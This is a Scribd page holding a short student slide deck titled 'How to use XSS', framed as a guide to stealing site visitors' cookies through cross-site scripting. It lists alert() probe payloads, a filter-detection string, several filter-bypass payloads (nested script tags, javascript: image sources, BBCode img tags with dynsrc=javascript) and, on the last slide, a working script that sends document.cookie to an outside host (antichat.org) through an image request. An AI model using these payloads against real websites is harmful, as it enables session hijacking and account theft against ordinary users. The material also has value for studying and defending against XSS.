Scribd
Upload
21 views

Done by Alibek Sabraliyev and Yerezhepov Askhat CSSE-0902

This document provides instructions on how to perform cross-site scripting (XSS) attacks. It explains that XSS attacks work by inserting malicious JavaScript code into vulnerable websites that is then executed by visitors' browsers. The document outlines different types of XSS attacks and techniques for testing websites for XSS vulnerabilities, such as trying to insert simple JavaScript alerts into different fields and checking for the presence of filters that may prevent the attacks.

Uploaded by

Alibek Sabraliyev
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PPT, PDF, TXT or read online on Scribd
21 views

Done by Alibek Sabraliyev and Yerezhepov Askhat CSSE-0902

This document provides instructions on how to perform cross-site scripting (XSS) attacks. It explains that XSS attacks work by inserting malicious JavaScript code into vulnerable websites that is then executed by visitors' browsers. The document outlines different types of XSS attacks and techniques for testing websites for XSS vulnerabilities, such as trying to insert simple JavaScript alerts into different fields and checking for the presence of filters that may prevent the attacks.

Uploaded by

Alibek Sabraliyev
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PPT, PDF, TXT or read online on Scribd
You are on page 1/ 10

Done by Alibek Sabraliyev and Yerezhepov Askhat CSSE-0902

How to use XSS.


First we need to know what the Cookies. If you know we can continue If not, Cookies used to save the data(login, password) on the visitor's computer So, we can use XSS attack to intercept cookies To do that, we need find place where we can add XSS script

What is XSS-attack?
XSS attacks - this is an attack not on the site, it works on the users of the site There are active and passive xss attacks Passive - it Xss, which require the direct involvement of the victim Active doesnt require, we just need place to use a piece of code

So, lets begin


XSS consists of tags, tags consist of html, and JavaScript language JavaScript can be used in html Or coded to avoid filters, about it, a little bit later

How do I know that XSS on this site works?


We are trying to insert in all possible fields, this script: <script>alert()</script> The most common XSS: "><script>alert()</script> The whole essence is - "> any variable is assigned the value of the field, then it close script and perform the scrip above

This is the most common XSS in the search engines:


Review all of the field site and try to insert "><script>alert()</script> If the message came out - you have found XSS ...

How to define is there a filter or not?


Simply enter in any field: '';!--"<duck>=&{()} , and in the code of page, trying to find the word duck If <> is there, it means filter has a whole

Consider several cases of finding weaknesses of filter


<zxcvbnzxc792> <sc<script>ript>alert()</sc</script>ript> >>>><<script <IMG%20SRC="javascript:alert(); Everything can be achieved by trying and learning on doing) If the filter is bad, we can always insert scripts.

Active XSS
Scripts by using [font],[img],[url] : [img]htt://www.qwewqw.ru/1.jpg[/img] [img src=htt://www.qwewqw.ru/1.jpg] [img]htt://www.qweqw.ru/1.jpg [/img] If symbol cross is appear it means that everything is ok! Then [img]http://www.qwewqw.ru/1.jpg dynsrc=javascript:alert()[/img]

And finally, script sample:


<script> img = new Image(); img.src = "http://antichat.org/s/HakNet.gif?"+docu ment.cookie; </script> It already stole the cookies =)

You might also like